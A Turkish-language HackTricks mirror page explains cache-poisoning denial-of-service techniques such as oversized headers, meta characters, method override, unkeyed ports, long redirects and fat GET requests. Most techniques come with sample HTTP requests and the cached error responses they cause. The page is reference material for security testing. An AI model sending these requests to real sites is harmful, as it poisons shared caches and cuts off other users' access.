mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
150 lines
6.6 KiB
Markdown
150 lines
6.6 KiB
Markdown
# Önbellek Zehirlenmesi ile DoS
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz
|
||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
{% hint style="danger" %}
|
||
Bu sayfada, **web sunucunun önbellek sunucuları için geçerli olan isteklere hatalarla yanıt vermesini denemek için farklı varyasyonlar** bulabilirsiniz.
|
||
{% endhint %}
|
||
|
||
* **HTTP Başlık Boyutu Aşımı (HHO)**
|
||
|
||
Web sunucunun desteklediğinden daha büyük ancak önbellek sunucusunun desteklediğinden daha küçük bir başlık boyutu ile bir istek gönderin. Web sunucusu, önbelleğe alınabilecek bir 400 yanıtı ile yanıt verecektir:
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Oversize-Hedear:Big-Value-000000000000000
|
||
```
|
||
* **HTTP Meta Karakteri (HMC) ve Beklenmeyen Değerler**
|
||
|
||
Bir `\n` ve `\r` gibi **zararlı meta karakterler** içeren bir başlık gönderin. Saldırının çalışması için önce önbelleği atlamalısınız.
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Meta-Hedear:Bad Chars\n \r
|
||
```
|
||
Bir kötü yapılandırılmış başlık sadece `\:` olabilir.
|
||
|
||
Bu ayrıca beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen bir Content-Type:
|
||
```
|
||
GET /anas/repos HTTP/2
|
||
Host: redacted.com
|
||
Content-Type: HelloWorld
|
||
```
|
||
* **Anahtarlı olmayan başlık**
|
||
|
||
Bazı web siteleri, istekteki belirli başlıkları gördüklerinde hata durum kodu döndürebilirler, örneğin _X-Amz-Website-Location-Redirect: someThing_ başlığı gibi:
|
||
```
|
||
GET /app.js HTTP/2
|
||
Host: redacted.com
|
||
X-Amz-Website-Location-Redirect: someThing
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
|
||
Invalid Header
|
||
```
|
||
* **HTTP Yöntem Geçersiz Kılma Saldırısı (HMO)**
|
||
|
||
Sunucu, `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirme desteği sağlıyorsa, geçerli bir sayfa istenerek yöntem değiştirilebilir, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınabilir:
|
||
```
|
||
GET /blogs HTTP/1.1
|
||
Host: redacted.com
|
||
HTTP-Method-Override: POST
|
||
```
|
||
* **Anahtarlanmamış Port**
|
||
|
||
Eğer Host başlığındaki port yanıtta yansıtılıyor ve önbellek anahtarında bulunmuyorsa, kullanılmayan bir porta yönlendirmek mümkündür:
|
||
```
|
||
GET /index.html HTTP/1.1
|
||
Host: redacted.com:1
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: https://redacted.com:1/en/index.html
|
||
Cache: miss
|
||
```
|
||
* **Uzun Yönlendirme DoS**
|
||
|
||
Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu yüzden bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin gönderdiği URL'yi o kadar büyük yapabilir ki bir hata döndürür. Sonra, x anahtarı önbelleğe alınmamış olan URL'ye erişmeye çalışan kişiler hata yanıtını alacaklardır:
|
||
```
|
||
GET /login?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: /login/?x=veryLongUrl
|
||
Cache: hit
|
||
|
||
GET /login/?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 414 Request-URI Too Large
|
||
CF-Cache-Status: miss
|
||
```
|
||
* **Ana başlık durum normalleştirme**
|
||
|
||
Ana başlık harf büyüklüğüne duyarsız olmalıdır ancak bazı web siteleri, küçük harf olmasını bekler ve öyle olmadığında hata döndürür:
|
||
```
|
||
GET /img.png HTTP/1.1
|
||
Host: Cdn.redacted.com
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cache:miss
|
||
|
||
Not Found
|
||
```
|
||
* **Yol normalleştirme**
|
||
|
||
Bazı sayfalar, verileri URLencode olarak yollayarak hata kodları döndürecektir, ancak önbellek sunucusu yolun URLdecode edilmesini yapacak ve yanıtı URLdecode edilmiş yola saklayacaktır:
|
||
```
|
||
GET /api/v1%2e1/user HTTP/1.1
|
||
Host: redacted.com
|
||
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cach:miss
|
||
|
||
Not Found
|
||
```
|
||
* **Fat Get**
|
||
|
||
Bazı önbellek sunucuları, Cloudflare gibi veya web sunucuları, bir gövde ile GET isteklerini durdurur, bu nedenle bu, geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:
|
||
```
|
||
GET /index.html HTTP/2
|
||
Host: redacted.com
|
||
Content-Length: 3
|
||
|
||
xyz
|
||
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
```
|
||
## Referanslar
|
||
|
||
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
|
||
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
|
||
* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|